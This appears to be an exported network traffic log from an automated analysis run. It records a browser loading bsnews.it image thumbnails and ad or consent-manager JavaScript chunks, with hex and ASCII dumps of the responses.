wflSmTv9VMlW7A@kds{K40`P0Uig,nA%seac@zH4C4a4vI2#gB<sFq[nm6IV!lCzQBH):Ys*=uYkM="XB`Y1#>kL+r
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 30 d9 b1 3d 7a 12 d8 3a 9d 65 e7 f9 f5 f0 26 f4 66 22 ad 56 d9 61 d4 9f dd 97 f1 aa 7e 65 ce 2c 95 35 b3 92 3b 5f c2 55 42 78 66 85 2a b8 82 05 52 22 98 f7 b0 4c 8c d8 f2 e0 97 53 19 79 bd 94 3e 2e 92 c4 d1 1c 29 55 f7 5b f0 1d 00 cb 3d 13 90 f9 71 46 22 54 b0 74 cb 63 d4 fc fd cc 8b fc 8a 9d 0b 06 7a bc 6a 41 e0 5c 1e 8b e0 57 8d cf 87 e4 cb 86 37 5b f2 f0 a9 72 fc a5 a8 63 3f 69 81 fd a3 1c 4a c2 9a 12 8c 63 6d 8c ca 7b e6 35 5a 0f b9 51 ca 69 2b dc 4d 65 5b 60 0d bf c8 5f aa a5 bb ab e1 e0 cd 8c b5 7c 0d a6 7a 50 d7 99 86 0b 8f 3d 7d 79 ef 09 c2 c1 4c 2c dc ba 0c 71 98 f1 4c 6d a8 34 f7 7e c6 98 61 39 be 8b 05 68 b7 e1 bc 02 ed 68 b1 82 f8 74 fb 0d e1 87 12 83 37 cb 09 4d ab 3d 68 7a 74 9f 27 70 74 2a 17 68 6a e8 44 a4 3a bd b5 71 65 fe 3b 0e 47 c0 82 Data Ascii: 0=z:e&f"Va~e,5;_UBxfR"LSy>.)U[=qF"TtczjA\W7[rc?iJcm{5ZQi+Me[`_\|zP=}yL,qLm4~a9hht7M=hzt'pthjD:qe;G
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: c5 18 4b 81 76 71 8b 1d 98 75 e5 9b 50 c2 ec 2c 8d 11 ef 84 e6 45 3d 8b 80 c6 55 01 1d 52 90 d4 98 ba 60 55 21 ea 25 35 06 54 24 82 44 51 c6 19 75 b3 92 90 19 a0 a4 89 80 18 e7 0c c7 3d a9 80 40 b0 70 5d 07 9f 92 4a 9c a4 93 01 10 c9 de 47 ad 4a 2b 02 c1 b4 50 05 91 31 c7 69 a0 24 8f a7 bc 3e 6b 4d 06 e3 b0 35 1d 15 5c 03 08 ce 97 f3 3c e3 6a 0a 2c b2 96 df 82 73 bc d3 c5 6f 96 e6 64 44 62 6c 82 5e 26 94 ca 6a ae dd 88 e1 88 8a 10 cd 99 bd ec cc df 55 bb 41 2e 2b bb 12 39 0b 59 93 48 b5 04 08 59 d3 8f 51 76 d2 ef 48 18 32 34 30 97 38 35 b4 de 26 f5 2d f2 45 d9 94 bd 66 62 37 69 cc ca 8c 31 a8 42 c1 25 89 9c d0 f8 44 b2 20 82 56 2d 61 96 4d 69 60 02 0b b7 12 40 e1 ee ea d2 0c 3d 58 c6 36 c3 a4 9a d6 81 04 c8 4d 96 81 cf 79 8c 10 50 00 82 09 2b 84 4d f5 8c Data Ascii: KvquP,E=UR`U!%5T$DQu=@p]JGJ+P1i$>kM5\<j,sodDbl^&jUA.+9YHYQvH24085&-Efb7i1B%D V-aMi`@=X6MyP+M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49899	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	438	OUT	GET /bsnews.it/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-27-at-11.34.53-AM.jpeg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	619	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: image/jpeg Content-Length: 7248 Connection: close Last-Modified: Wed, 27 Mar 2024 16:21:21 GMT Expires: Sat, 28 Mar 2026 04:21:21 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-27-at-11.34.53-AM.jpeg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "69799f39617fd3f0" X-Bytes-Saved: 144 Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:11 UTC	750	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0f 0b 0c 0d 0c 0a 0f 0d 0c 0d 11 10 0f 12 17 26 19 17 15 15 17 2f 22 24 1c 26 38 31 3b 3a 37 31 36 35 3d 45 58 4b 3d 41 54 42 35 36 4d 69 4e 54 5b 5e 63 64 63 3c 4a 6c 74 6c 60 73 58 61 63 5f ff db 00 43 01 10 11 11 17 14 17 2d 19 19 2d 5f 3f 36 3f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1a 00 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff c4 00 18 01 00 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 e3 29 2a 10 08 ad b1 88 95 e1 Data Ascii: JFIFC&/"$&81;:7165=EXK=ATB56MiNT[^cdc<Jltl`sXac_C--_?6?__________________________________________________D")*
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 04 d0 d3 40 d0 00 08 00 00 18 00 09 80 00 00 00 60 8e 3a d1 d2 d5 ca 02 52 9a 5a 73 f7 64 d5 59 d1 a9 4e 6a f3 9d 5a ad fc e9 46 f3 df d4 f3 bd 68 d3 7a cf 6c d4 f2 cb 9f 71 96 c8 6a bc fa c9 38 b3 93 d6 e1 54 cf ab c4 e8 b5 bc 09 a5 4c 79 15 3a cc 0e 97 6b 47 9d be 5f 6c 8c 93 00 00 88 1c 58 4a 90 be 8b a9 6a fa d4 5a 26 da 70 e8 64 a5 97 e6 ba a4 49 ce ba 9b 35 73 ec 4e 17 51 34 e7 04 aa 64 29 35 ab 5f 23 66 5b 2c fb 71 39 9f 43 9b b1 9a dd 10 cb 4e 7c 2f ab 6c 5a 24 d2 8b 03 a7 b7 99 6e 7a 6e 31 e7 6b 59 cb 1a ff c4 00 28 10 00 02 01 03 02 06 02 03 01 01 00 00 00 00 00 00 01 02 00 03 11 12 10 13 04 20 21 31 32 33 22 41 14 30 40 23 42 ff da 00 08 01 01 00 01 05 02 fa 3f bf 84 f1 e6 63 65 fb e4 50 4c a5 71 1c 41 71 2c d6 eb 7e b3 ac eb 63 79 62 34 fa 3c Data Ascii: @`:RZsdYNjZFhzlqj8TLy:kG_lXJjZ&pdI5sNQ4d)5_#f[,q9CN\|/lZ$nzn1kY( !123"A0@#B?cePLqAq,~cyb4<
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 7e c1 a1 8b 04 25 0c b0 ae 94 5e 76 87 a4 b5 3b d2 2c be 88 43 5f ba 9a cb 01 0d 37 f0 f2 85 b6 42 1f ff c4 00 2a 10 00 01 02 05 03 04 02 02 03 01 00 00 00 00 00 00 01 00 11 02 10 20 21 31 12 41 71 30 32 51 81 22 40 03 91 33 42 61 e1 ff da 00 08 01 01 00 06 3f 02 fa 11 73 59 29 e9 b2 bc bb 53 35 97 6a c2 c1 43 2b 05 63 a3 78 80 4d d0 8b 9a 07 33 22 87 0b 65 e1 02 e5 72 99 65 65 64 ac 95 dc 57 71 5d dd 1b 1b f4 4f 34 43 cd 7a 4e 24 c6 4d e1 03 58 0b 08 55 87 4d b9 42 2f 47 a0 79 a2 1e 68 bd 0c 72 27 cf 41 fc 48 53 74 e3 6d 96 07 e9 36 1a ee b1 7a fd d1 0f 3d 07 41 90 93 a2 2a 68 4a b0 75 ea a6 61 2f fb d0 f7 44 35 38 b2 63 2b cc c2 84 54 93 b9 9f aa ec 87 40 51 0d 6c ca e1 3a dd 77 14 fa 95 e2 b2 b1 0b e4 5d 7c 56 cb 0b b5 76 95 ea b3 d1 14 0a de 40 4c ab Data Ascii: ~%^v;,C_7B* !1Aq02Q"@3Ba?sY)S5jC+cxM3"ereedWq]O4CzN$MXUMB/Gyhr'AHStm6z=A*hJua/D58c+T@Ql:w]\|Vv@L
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: c4 8d ad 3f 05 e1 f6 3f 2a fb 9a 39 ab 5b e7 c9 fa 06 8a 8d 24 cf 99 08 09 aa 21 9d 37 a9 28 48 54 53 46 b4 85 6e 13 11 00 04 95 9a 2a 24 b7 32 85 7b 00 4a 9a 9b 94 3a a2 52 25 84 99 f4 7c 1f 8a a5 9b 3f 7c 73 08 3f a9 cc bd 85 b6 16 55 f7 39 fc b4 25 fa 82 fd 41 33 03 f6 84 96 42 2e 49 79 34 05 90 3a 68 57 3d 82 9f 9d 19 72 23 2b 08 4e aa 13 9f f7 b9 56 4f 32 99 01 2b 7a 8a 65 49 cc d4 84 34 5c d8 86 5d 0b 0b e1 fc 28 47 ab 12 ff 00 f6 d3 17 e8 1c ab d8 e2 16 c7 66 10 9b 7d 02 99 5b 26 e1 f4 45 ca 4b 0f 48 a3 9b 27 a2 07 29 f4 a2 f3 e1 8a c0 d5 2d a8 55 2e 07 71 b2 fe 4e 5e 4d 85 5e 4b a6 14 6c 24 92 9e b1 8f 4e 80 8c 89 9b 29 a5 12 45 45 02 19 ad 39 2a 9f 09 7d 1f 3c 25 51 29 2e aa 7b 0a 9d 92 84 54 87 89 5d 0e ff 00 c9 74 05 47 36 f1 03 b6 5d a1 d4 01 Data Ascii: ??9[$!7(HTSFn$2{J:R%\|?\|s?U9%A3B.Iy4:hW=r#+NVO2+zeI4\](Gf}[&EKH')-U.qN^M^Kl$N)EE9*}<%Q).{T]tG6]
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 00 02 01 03 02 06 03 01 01 01 01 00 00 00 00 01 00 11 21 31 41 51 61 71 10 20 81 91 a1 c1 b1 d1 f0 e1 f1 40 30 ff da 00 08 01 01 00 01 3f 10 48 0d 3b 4d 50 30 f6 95 2a 54 a9 50 31 02 54 a9 52 a5 43 9f a3 f1 1f 06 55 8f 25 f3 e2 1a 00 5c cd 34 5a 84 0a d5 7d 48 53 a2 47 c0 ab 74 73 5b 47 de 0b 63 18 11 94 40 69 a7 fe 4d 12 a6 da 74 aa 86 41 16 15 4d 6f 11 1a 90 36 a8 69 55 2a ea b7 4b 52 da 6f 39 85 ee f2 aa ad 33 5b c3 46 30 a0 53 99 b3 cf 1d 5a 4c 61 f7 52 80 37 73 e0 41 4f 64 f9 13 4b 2a 54 4a 02 de 20 d9 bd 96 7d e1 a3 92 56 25 62 54 ad 25 6b 2a 56 90 e5 fe e2 3e 26 c3 f8 b3 c5 16 67 07 78 5b 4b 1e 20 df 4b 72 08 ad 52 2d c1 a4 05 66 50 5c 11 13 57 d9 7e a6 66 e9 ad c7 b4 74 01 5a 29 b3 78 88 73 b4 e1 8c 6b dd 6a cc ff 00 ba 95 3f 6a 52 df cc 94 e9 ef Data Ascii: !1AQaq @0?H;MP0TP1TRCU%\4Z}HSGts[Gc@iMtAMo6iUKRo93[F0SZLaR7sAOdKTJ }V%bT%kV>&gx[K KrR-fP\W~ftZ)xskj?jR
2024-03-28 08:51:11 UTC	1022	IN	Data Raw: c0 14 5b b8 81 6f f7 80 6a 9e 89 05 ab ed 07 23 d2 0d f0 f6 8b d4 10 8d c7 75 30 94 f7 6a 09 a7 b2 86 b8 df 0c 0d 01 79 02 5f 96 83 a9 5f 10 f0 b7 5f bc 19 9d 67 2b a9 91 6f 68 44 2f 5e 9d 5a 46 22 c9 c4 d5 6f 5f 59 ae 39 01 e5 d6 d0 03 f2 94 c6 e8 55 9c f4 94 06 6e a9 45 47 37 45 5a df 0a 89 7c 15 0e 6d aa f4 a8 28 0e a4 5a 58 e9 10 7c 1e 5b 97 e6 b9 72 e5 cc 4a 1d 42 70 13 47 01 d9 9a 00 7a a0 5a 7b d7 03 b9 ee 20 1b fd e0 ab 2b e8 fe e5 85 44 2f 2a 63 48 f6 88 5b b5 c4 2b 0e 26 1a b9 88 61 0b 91 4c c4 5c 61 c5 ab f1 29 19 fa b4 97 89 44 d6 19 c6 62 c5 c7 51 bc 2d aa d5 ff 00 22 cc d3 f5 47 74 8c 4a a4 0c ba 24 b5 ba 53 d8 54 20 ec 8c ea e2 25 1c 00 4a ff 00 d1 96 81 57 b1 05 78 a8 18 eb 89 66 eb 1b 34 87 ef 75 9d 07 e6 5d 7b 0a 3e f6 41 cd 69 16 1b dd Data Ascii: [oj#u0jy___g+ohD/^ZF"o_Y9UnEG7EZ\|m(ZX\|[rJBpGzZ{ +D/*cH[+&aL\a)DbQ-"GtJ$ST %JWxf4u]{>Ai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49903	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	536	OUT	GET /codesour/bsnews/656.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	671	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 2361 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:33 GMT x-rgw-object-type: Normal ETag: "7af49d40f99468461e5f89dd76f0ee09" x-amz-request-id: tx000005fc4ca87e2878c24-0065cb807c-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI73zc3N++wkAUAbT1aAmNUTgA X-77-NZT-Ray: 8e305f1c7af593367f2f0566c93af301 X-Accel-Expires: @1711769551 X-Accel-Date: 1711251151 X-77-Cache: HIT X-77-Age: 364720 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:11 UTC	2361	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 35 36 5d 2c 7b 39 38 38 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 43 3a 28 29 3d 3e 69 7d 29 3b 76 61 72 20 72 3d 6e 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 6c 7d 3d 72 2e 74 2c 6f 3d 6e 65 77 20 6c 28 22 44 4f 4d 20 4d 61 6e 61 67 65 72 22 29 2c 69 3d 7b 63 72 65 61 74 65 44 4f 4d 45 6c 65 6d 65 6e 74 3a 64 2c 63 72 65 61 74 65 44 69 76 41 6e 64 41 70 70 65 6e 64 3a 75 2c 63 72 65 61 74 65 50 6c 61 63 65 48 6f 6c 64 65 72 41 6e 64 53 74 79 6c 65 3a 61 2c 63 68 65 63 6b 50 61 67 65 53 65 6c 65 63 74 6f 72 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[656],{988:(e,t,n)=>{"use strict";n.d(t,{C:()=>i});var r=n(845);const{LoggerSour:l}=r.t,o=new l("DOM Manager"),i={createDOMElement:d,createDivAndAppend:u,createPlaceHolderAndStyle:a,checkPageSelector

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49902	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	417	OUT	GET /bsnews.it/wp-content/uploads/2022/03/rage-gcf7ce407b_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	599	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: image/jpeg Content-Length: 7115 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:11 GMT Expires: Sat, 28 Mar 2026 20:51:11 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2022/03/rage-gcf7ce407b_1920.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "0d5c7ecaa48be0e1" X-Bytes-Saved: 416 Vary: Accept X-nc: MISS dca 3 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:11 UTC	770	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 03 00 01 04 05 06 02 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f4 07 4e 24 9c 4c e8 64 ec 26 74 32 48 Data Ascii: JFIFCCD"N$Ld&t2H
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 34 58 3c 36 25 28 72 09 d2 00 71 d7 08 ed 24 26 76 14 39 80 3c f6 16 8a 80 b6 35 54 e2 69 eb a6 9d 65 35 99 b2 de 6e 03 52 5c c2 89 48 55 e6 f4 11 0a de ed 25 82 bd 83 18 bb a4 69 e6 6a 4e 97 92 8a c4 b1 4d 15 86 42 c4 d3 0e 98 65 cf 59 be cd 45 be 7f 44 4e ec 68 e9 0d 12 d2 43 24 c2 67 45 2e 4f 7f 40 67 22 4f 8c 71 32 96 29 67 53 c7 00 a5 81 83 5b 1f 44 66 aa 76 74 e5 04 8b 61 10 8c 24 49 e8 26 1d c8 42 24 3b 38 44 06 28 0b 02 c5 9a 49 7b a1 86 bb 83 38 98 dc 39 da 64 7f ff c4 00 2b 10 00 02 02 02 02 01 03 04 02 01 05 00 00 00 00 00 01 02 00 03 04 11 05 21 12 10 13 31 06 20 22 30 32 41 14 23 24 25 35 40 ff da 00 08 01 01 00 01 05 02 fd e7 e3 20 4e 47 41 7f 22 7d a2 d2 ca 6c 48 43 08 af a8 d6 f5 65 82 56 d2 a6 81 a3 34 c8 69 90 d3 19 b4 fc 6d d2 9b 86 96 Data Ascii: 4X<6%(rq$&v9<5Tie5nR\HU%ijNMBeYEDNhC$gE.O@g"Oq2)gS[Dfvta$I&B$;8D(I{89d+!1 "02A#$%5@ NGA"}lHCeV4im
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 8f d5 94 68 5b 54 44 33 44 40 60 33 7e ba 8c 23 88 60 73 b4 6e 97 f2 2b 57 5e df 78 8b a1 4f ea b5 76 32 e8 dc b1 0a 17 ee 58 b1 a6 87 aa af 93 61 63 4a e9 d0 c9 4e 8d 5b 26 98 d5 c6 5d 18 b0 08 16 78 c7 11 e3 09 ae d7 e3 13 f9 85 1e 15 a6 dd 06 a5 7f 67 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 ff da 00 08 01 03 01 01 3f 01 52 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 ff da 00 08 01 02 01 01 3f 01 52 ff c4 00 38 10 00 01 02 04 03 06 05 01 04 0b 00 00 00 00 00 00 01 00 02 03 11 21 31 10 20 41 12 22 32 40 51 61 04 13 30 42 71 a1 14 23 52 81 33 43 50 53 62 72 82 91 92 b1 c1 ff da 00 08 01 01 00 06 3f 02 e4 66 55 28 14 a6 af ea 0e 5e 51 23 36 7d 2e bf 48 ef f0 2a 5e 1e 11 3d dc b6 e2 99 ff 00 cc 2d 8c d9 75 23 Data Ascii: h[TD3D@`3~#`sn+W^xOv2XacJN[&]xgp?Rp?R8!1 A"2@Qa0Bq#R3CPSbr?fU(^Q#6}.H*^=-u#
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: 9b dd 96 fe 8b 68 49 c0 c5 48 93 20 b2 48 7b 93 78 90 89 bb 5b 7c 8e 92 58 25 12 27 12 c6 15 ca 11 95 c7 c1 3f f7 45 b1 39 16 12 f3 d8 dd 72 22 49 12 aa db 1a 80 16 b6 21 10 29 2c f4 20 8b 29 f5 3b f3 44 59 0a 8e 84 5c b2 35 22 3b 81 0d 0a 17 2b 63 01 01 23 f8 25 93 73 23 03 84 76 c5 6b 3c 99 54 60 74 97 b6 b7 dc 4b 01 34 4e 85 d5 2b c0 fd 0e 7b 62 b3 8a a3 09 cc ca d8 6c da 58 72 79 12 29 14 b4 aa 10 87 aa 66 57 ea 8b ba 17 dd 69 dd 03 3d 83 a0 f5 af 54 e8 42 27 4b 2a d3 8b 11 39 95 e0 ce 09 3c 1b b6 63 30 cd 87 86 34 82 7c 3c 08 aa 4e c2 9a 9a 25 3c 34 83 29 39 02 4b 3c f6 3d cf f0 f6 63 c2 50 92 ba 1c 99 a8 b3 29 c1 23 0d aa 83 1d 0d 68 aa 7a 94 93 8c bf 62 fc c8 10 8a 31 3e 04 fc 69 96 ca 4e df c1 09 50 dd e0 4b 42 a4 21 29 cc ba 1e cf f4 21 2d 09 d1 Data Ascii: hIH H{x[\|X%'?E9r"I!), );DY\5";+c#%s#vk<T`tK4N+{blXry)fWi=TB'K*9<c04\|<N%<4)9K<=cP)#hzb1>iNPKB!)!-
2024-03-28 08:51:11 UTC	1369	IN	Data Raw: e5 d0 59 5c b9 6a c3 49 15 6d c2 dd d5 98 d8 95 8c 44 32 aa 07 0b 72 c0 e9 08 25 53 34 c5 08 08 7f 06 3a 8c a9 84 ae 54 2d c7 cc cb 46 0f 8f 07 ef c4 4c 00 5e d2 d8 ad 39 4c 44 80 5c 09 51 57 61 be b0 c1 aa de 48 e1 0b 30 7b 49 00 75 d6 5b 17 01 54 fd 4b 1a 09 8b c6 2f fc 94 a8 51 d0 ba 8e 5a 81 a1 b8 ed f8 d2 d3 a9 df f7 1f 75 11 e9 a9 80 13 29 51 29 98 e3 cc 52 6a 68 c4 20 2a 5e 00 cb 29 57 f0 81 00 60 c4 51 c4 10 e6 14 86 3b 84 25 7f 07 e4 c0 16 b3 3a d6 5b c7 5a 75 ea f1 e7 42 35 87 88 c8 43 bc c5 65 50 59 28 5f 12 91 56 2e 0e 9f 51 ac 06 5c 8b 25 48 03 65 f4 8a be 12 d6 38 af fc 9e 63 02 b1 e0 ef 0a 31 b6 6a 34 05 99 ba 32 10 8d 83 da a6 75 2c b1 8a 89 36 48 b4 fe dd 61 02 c4 f2 e2 08 38 f8 42 36 a0 c7 0c 81 83 d8 a5 2e 26 32 50 02 3d a3 57 70 87 c3 Data Ascii: Y\jImD2r%S4:T-FL^9LD\QWaH0{Iu[TK/QZu)Q)Rjh *^)W`Q;%:[ZuB5CePY(_V.Q\%He8c1j42u,6Ha8B6.&2P=Wp
2024-03-28 08:51:11 UTC	869	IN	Data Raw: 97 05 21 7c 99 94 aa 72 f2 cb 10 55 e7 79 55 46 46 1e 48 2a e2 1f 18 0f b7 f1 2a 52 94 34 02 e8 fd c0 ce 08 16 3d e4 97 07 74 45 47 47 1f 79 31 87 38 9d 14 22 d8 dc 64 c5 57 5c 31 3a bc 30 fb 85 41 b6 b9 8d 93 46 7a 2f d9 82 cc 0c 5c 37 18 3e 1b 99 a9 d6 76 e5 20 a8 95 fc 38 8e a1 0e 95 2e 6e 8e bd dc 40 7c ab e9 a8 d0 8e 31 1b 6b 3a 63 c4 b4 6f 70 73 1d 9a a1 30 a4 35 db 19 94 6c 71 06 cd fd 6f ee 51 d0 9e e8 0b e5 6a 9c c4 a0 e2 8c b9 f3 70 6d 92 b1 4c 83 4d cd f6 76 f1 70 12 a0 0d d9 2c 10 af 02 23 0e 74 2c 7f ec 53 81 2a 73 e2 56 e9 27 78 1a fe df 70 2f 52 cd 1c 0f f7 dc 7b 89 8c 25 32 08 0c 8e a4 3a 39 f0 b2 ec 3e 7a cf 32 eb d0 a6 3b ff 00 d7 08 2e a5 23 d3 30 6b 60 5e 58 97 33 2f e8 02 fb bb ee 11 b4 ad 6e 12 ee 0d 40 06 fe 23 48 9a 95 11 6b e3 88 Data Ascii: !\|rUyUFFH*R4=tEGGy18"dW\1:0AFz/\7>v 8.n@\|1k:cops05lqoQjpmLMvp,#t,SsV'xp/R{%2:9>z2;.#0k`^X3/n@#Hk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49904	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:10 UTC	536	OUT	GET /codesour/bsnews/801.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:11 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 562 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:32 GMT x-rgw-object-type: Normal ETag: "e1c1dc49512212acd62bc075c3f4ac9f" x-amz-request-id: tx000001355ddaa0740669f-0065cb807c-2bbae03-prg X-77-NZT: AyUTzgQ3NzehnJI76Dc3N+/XLQcAbT1aDauOwQA X-77-NZT-Ray: 8e305f1c4aff95367f2f0566286a7a02 X-Accel-Expires: @1711663784 X-Accel-Date: 1711145384 X-77-Cache: HIT X-77-Age: 470487 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:11 UTC	562	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 30 31 5d 2c 7b 38 30 31 3a 28 6f 2c 63 2c 74 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 63 29 3b 76 61 72 20 69 3d 74 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 65 7d 3d 69 2e 74 2c 72 3d 6e 65 77 20 65 28 22 43 4d 50 20 3e 20 43 6c 69 63 6b 69 6f 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 7b 73 63 72 69 70 74 73 54 6f 4c 6f 61 64 3a 63 7d 3d 6f 2e 5f 73 6f 75 72 2e 63 6f 6e 66 69 67 3b 69 66 28 63 2e 63 6c 69 63 6b 69 6f 29 7b 72 2e 6c 6f 67 28 22 49 6e 69 74 69 61 6c 69 7a 65 20 43 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[801],{801:(o,c,t)=>{"use strict";t.r(c);var 